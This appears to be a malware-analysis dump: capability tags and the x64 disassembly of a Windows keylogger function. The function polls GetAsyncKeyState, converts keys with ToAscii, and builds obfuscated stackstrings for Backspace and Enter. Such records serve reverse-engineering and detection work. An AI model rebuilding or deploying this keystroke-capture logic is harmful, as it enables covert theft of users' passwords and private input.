Function at 0x140011744
Capabilities:
Contain obfuscated stackstrings
Log keystrokes
Log keystrokes via polling

Disassembly:
jmp 0x140024590
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xd38
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x252
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xd58]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0xcf8], rax
lea rcx, [0x1400390ee]
call fcn.140011a00
call fcn.14001112c
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.140011884
lea rcx, [rbp + 8]
call fcn.14001130c
lea rcx, [rbp + 0x48]
call fcn.140011690
xor eax, eax
cmp eax, 1
je 0x140024ca2
mov dword [rbp + 0x64], 8
jmp 0x140024629
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0xff
jg 0x140024b56
mov ecx, dword [rbp + 0x64]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x140024b51
cmp dword [rbp + 0x64], 0x20
jl 0x140024657
cmp dword [rbp + 0x64], 0x39
jle 0x1400246c7
cmp dword [rbp + 0x64], 0x41
jl 0x140024663
cmp dword [rbp + 0x64], 0x5a
jle 0x1400246c7
cmp dword [rbp + 0x64], 0x60
jl 0x14002466f
cmp dword [rbp + 0x64], 0x69
jle 0x1400246c7
cmp dword [rbp + 0x64], 0xba
jl 0x140024681
cmp dword [rbp + 0x64], 0xc0
jle 0x1400246c7
cmp dword [rbp + 0x64], 0xdb
jl 0x140024693
cmp dword [rbp + 0x64], 0xdf
jle 0x1400246c7
cmp dword [rbp + 0x64], 0xbd
je 0x1400246c7
cmp dword [rbp + 0x64], 0xbe
je 0x1400246c7
cmp dword [rbp + 0x64], 0x6f
je 0x1400246c7
cmp dword [rbp + 0x64], 0x6a
je 0x1400246c7
cmp dword [rbp + 0x64], 0x6d
je 0x1400246c7
cmp dword [rbp + 0x64], 0x6e
je 0x1400246c7
cmp dword [rbp + 0x64], 0x6b
jne 0x1400247b7
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1400246e5
mov byte [rbp + 0xce4], 1
jmp 0x1400246ec
mov byte [rbp + 0xce4], 0
movzx eax, byte [rbp + 0xce4]
mov byte [rbp + 0x84], al
call fcn.1400115af
mov byte [rbp + 0xa4], al
lea rcx, [rbp + 0xd0]
call qword [sym.imp.USER32.dll_GetKeyboardState]
xor edx, edx
mov ecx, dword [rbp + 0x64]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x1e4]
lea r8, [rbp + 0xd0]
mov edx, eax
mov ecx, dword [rbp + 0x64]
call qword [sym.imp.USER32.dll_ToAscii]
movzx eax, byte [rbp + 0x1e4]
mov byte [rbp + 0x204], al
movzx eax, byte [rbp + 0x84]
test eax, eax
je 0x140024760
movzx eax, byte [rbp + 0xa4]
test eax, eax
je 0x140024776
movzx eax, byte [rbp + 0x84]
test eax, eax
jne 0x14002478d
movzx eax, byte [rbp + 0xa4]
test eax, eax
je 0x14002478d
movsx eax, byte [rbp + 0x204]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_toupper]
mov byte [rbp + 0x204], al
jmp 0x1400247a2
movsx eax, byte [rbp + 0x204]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_tolower]
mov byte [rbp + 0x204], al
lea rdx, [rbp + 0x204]
lea rcx, [rbp + 8]
call fcn.1400110dc
jmp 0x140024b51
cmp dword [rbp + 0x64], 8
jne 0x140024936
mov byte [rbp + 0x694], 0x3a
lea rdx, [rbp + 0x694]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x6b4], 0x61
lea rdx, [rbp + 0x6b4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x6d4], 0x72
lea rdx, [rbp + 0x6d4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x6f4], 0x72
lea rdx, [rbp + 0x6f4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x714], 0x6f
lea rdx, [rbp + 0x714]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x734], 0x77
lea rdx, [rbp + 0x734]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x754], 0x5f
lea rdx, [rbp + 0x754]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x774], 0x62
lea rdx, [rbp + 0x774]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x794], 0x61
lea rdx, [rbp + 0x794]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x7b4], 0x63
lea rdx, [rbp + 0x7b4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x7d4], 0x6b
lea rdx, [rbp + 0x7d4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x7f4], 0x77
lea rdx, [rbp + 0x7f4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x814], 0x61
lea rdx, [rbp + 0x814]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x834], 0x72
lea rdx, [rbp + 0x834]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x854], 0x64
lea rdx, [rbp + 0x854]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x874], 0x3a
lea rdx, [rbp + 0x874]
lea rcx, [rbp + 8]
call fcn.1400111db
jmp 0x140024b51
cmp dword [rbp + 0x64], 0xd
jne 0x140024b51
mov byte [rbp + 0x894], 0x3a
lea rdx, [rbp + 0x894]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x8b4], 0x62
lea rdx, [rbp + 0x8b4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x8d4], 0x61
lea rdx, [rbp + 0x8d4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x8f4], 0x6c
lea rdx, [rbp + 0x8f4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x914], 0x6c
lea rdx, [rbp + 0x914]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x934], 0x6f
lea rdx, [rbp + 0x934]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x954], 0x74
lea rdx, [rbp + 0x954]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x974], 0x5f
lea rdx, [rbp + 0x974]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x994], 0x62
lea rdx, [rbp + 0x994]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x9b4], 0x6f
lea rdx, [rbp + 0x9b4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x9d4], 0x78
lea rdx, [rbp + 0x9d4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0x9f4], 0x5f
lea rdx, [rbp + 0x9f4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xa14], 0x77
lea rdx, [rbp + 0xa14]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xa34], 0x69
lea rdx, [rbp + 0xa34]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xa54], 0x74
lea rdx, [rbp + 0xa54]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xa74], 0x68
lea rdx, [rbp + 0xa74]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xa94], 0x5f
lea rdx, [rbp + 0xa94]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xab4], 0x63
lea rdx, [rbp + 0xab4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xad4], 0x68
lea rdx, [rbp + 0xad4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xaf4], 0x65
lea rdx, [rbp + 0xaf4]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xb14], 0x63
lea rdx, [rbp + 0xb14]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xb34], 0x6b
lea rdx, [rbp + 0xb34]
lea rcx, [rbp + 8]
call fcn.1400111db
mov byte [rbp + 0xb54], 0x3a
lea rdx, [rbp + 0xb54]
lea rcx, [rbp + 8]
call fcn.1400111db
jmp 0x140024621
lea rcx, [rbp + 0x228]
call fcn.140011690
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0xb78]
call fcn.1400111cc
mov rdx, rax
lea rcx, [rbp + 0xb98]
call fcn.140011019
mov rcx, rax
call fcn.140011a32
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0xa
jl 0x140024c78
lea rax, [rbp + 0xbd8]
mov qword [rbp + 0xc08], rax
lea rax, [rbp + 0xc28]
mov qword [rbp + 0xc58], rax
lea rcx, [rbp + 0xbb4]
call fcn.14001124e
mov qword [rbp + 0xce8], rax
mov rdx, qword [rbp + 0xc08]
lea rcx, [rbp + 8]
call fcn.1400110cd
mov qword [rbp + 0xcf0], rax
mov rdx, qword [rbp + 0xc58]
lea rcx, [rbp + 8]
call fcn.140011438
mov rcx, qword [rbp + 0xce8]
mov r9, rcx
mov rcx, qword [rbp + 0xcf0]
mov r8, rcx
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.1400113d9
lea r8, [rbp + 0x268]
lea rdx, [0x14001162c]
lea rcx, [rbp + 0x2a8]
call fcn.140011136
lea rcx, [rbp + 0x2a8]
call fcn.140011a7d
lea rcx, [rbp + 8]
call fcn.1400116ae
lea rcx, [rbp + 0xc78]
call fcn.140011690
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x2a8]
call fcn.140011479
lea rcx, [rbp + 0x268]
call fcn.1400111d6
mov dword [rbp + 0xcb4], 0x64
lea rdx, [rbp + 0xcb4]
lea rcx, [rbp + 0xc98]
call fcn.140011758
mov rcx, rax
call fcn.140011843
jmp 0x14002460d
mov dword [rbp + 0xcd4], 0
lea rcx, [rbp + 8]
call fcn.14001192e
mov eax, dword [rbp + 0xcd4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002af40]
call fcn.14001185c
mov eax, edi
mov rcx, qword [rbp + 0xcf8]
xor rcx, rbp
call fcn.1400114ce
lea rsp, [rbp + 0xd08]
pop rdi
pop rbp
ret